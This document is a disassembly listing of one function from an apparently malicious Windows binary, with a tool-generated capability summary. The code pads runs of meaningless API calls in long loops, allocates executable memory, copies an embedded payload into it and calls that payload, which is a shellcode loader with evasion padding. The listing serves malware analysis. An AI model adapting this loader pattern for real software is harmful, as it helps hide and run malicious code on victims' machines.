Function at 0x403ac0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Get file attributes
Get hostname
Print debug messages

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x455af8
push eax
mov dword fs:[0], esp
sub esp, 0x824
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor ebx, ebx
xor esi, esi
jmp 0x403af0
push ebx
call edi
cmp esi, 0xb7e4ee2
jg 0x403b04
inc esi
cmp esi, 0x73f04bd
jl 0x403af0
cmp dword [0x45fb64], 0x400
jne 0x403b7e
push ebx
lea eax, [ebp - 0x430]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
xor ecx, ecx
mov dword [ebp - 0x18], 7
mov dword [ebp - 0x1c], ebx
mov word [ebp - 0x2c], cx
push ebx
push ebx
mov dword [ebp - 4], ebx
call fcn.004042e9
push ebx
push ebx
push ebx
call fcn.004045fa
add esp, 0x14
push ebx
call fcn.004046f6
push ecx
mov eax, esp
mov dword [eax], ebx
mov dword [eax + 4], ebx
call fcn.004041c0
fstp st(0)
add esp, 8
mov dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x18], 8
jb 0x403b7e
mov edx, dword [ebp - 0x2c]
push edx
call fcn.00404565
add esp, 4
cmp dword [0x45fb64], 0x93
jne 0x403bc8
xor eax, eax
lock bts dword [eax], 0
push 0x402e90
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectA]
push ebx
push ebx
lea edx, [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
push ebx
push ebx
call fcn.00404449
push ebx
call fcn.00404428
add esp, 0xc
push ebx
call fcn.0040443e
add esp, 4
call fcn.00403ab0
mov eax, dword [0x45ac84]
mov dword [0x4609a0], eax
mov eax, dword [0x45fb64]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push ebx
mov dword [0x45fb64], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x45f5f4], eax
mov esi, 0x1692e
lea ebx, [ebx]
push ebx
call edi
sub esi, 1
jne 0x403c00
cmp dword [0x45fb64], ebx
jbe 0x403c7c
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebx, dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExW]
lea esp, [esp]
mov ecx, dword [0x4609a0]
mov dl, byte [ecx + esi + 0x1134b]
mov eax, dword [0x45f5f4]
mov byte [eax + esi], dl
cmp dword [0x45fb64], 0x490
jne 0x403c71
push 0
call edi
push 0
push 0
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea ecx, [ebp - 0x10]
push ecx
push 0
lea edx, [ebp - 0x28]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
inc esi
cmp esi, dword [0x45fb64]
jb 0x403c20
xor ebx, ebx
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringW]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
xor esi, esi
mov eax, dword [0x45fb64]
add eax, esi
cmp eax, 0x8d
jne 0x403cbf
push 0
lea ecx, [ebp - 0x830]
push ecx
push 0
push 0
push 0
push 0
call edi
push 0
lea edx, [ebp - 0x10]
push edx
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventW]
inc esi
cmp esi, 0x38681
jl 0x403c8a
call fcn.00403a10
mov edi, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor ebx, ebx
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x403ce1
call edi
cmp esi, 0x207142
jg 0x403cf2
inc esi
cmp esi, 0x67d12
jl 0x403cd7
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
lea ebx, [ebx]
call edi
cmp esi, 0x61
jne 0x403d1a
mov dword [ebp - 0x10], ebx
add dword [ebp - 0x10], 0x6d1e
mov eax, dword [ebp - 0x10]
add dword [0x45f5f4], eax
inc esi
cmp esi, 0x674bd
jl 0x403d00
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
mov dword [ebp - 0x10], 0x7b
lea esp, [esp]
cmp dword [0x45fb64], 0x86
jne 0x403d75
push 0
call esi
push 0
lea ecx, [ebp - 0x830]
push ecx
push 0
call edi
push 0
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp dword [0x45fb64], 0xf
jne 0x403d88
lea edx, [ebp - 0x14]
push edx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
sub dword [ebp - 0x10], 1
jne 0x403d40
push 0x402ea0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x45f5f4]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret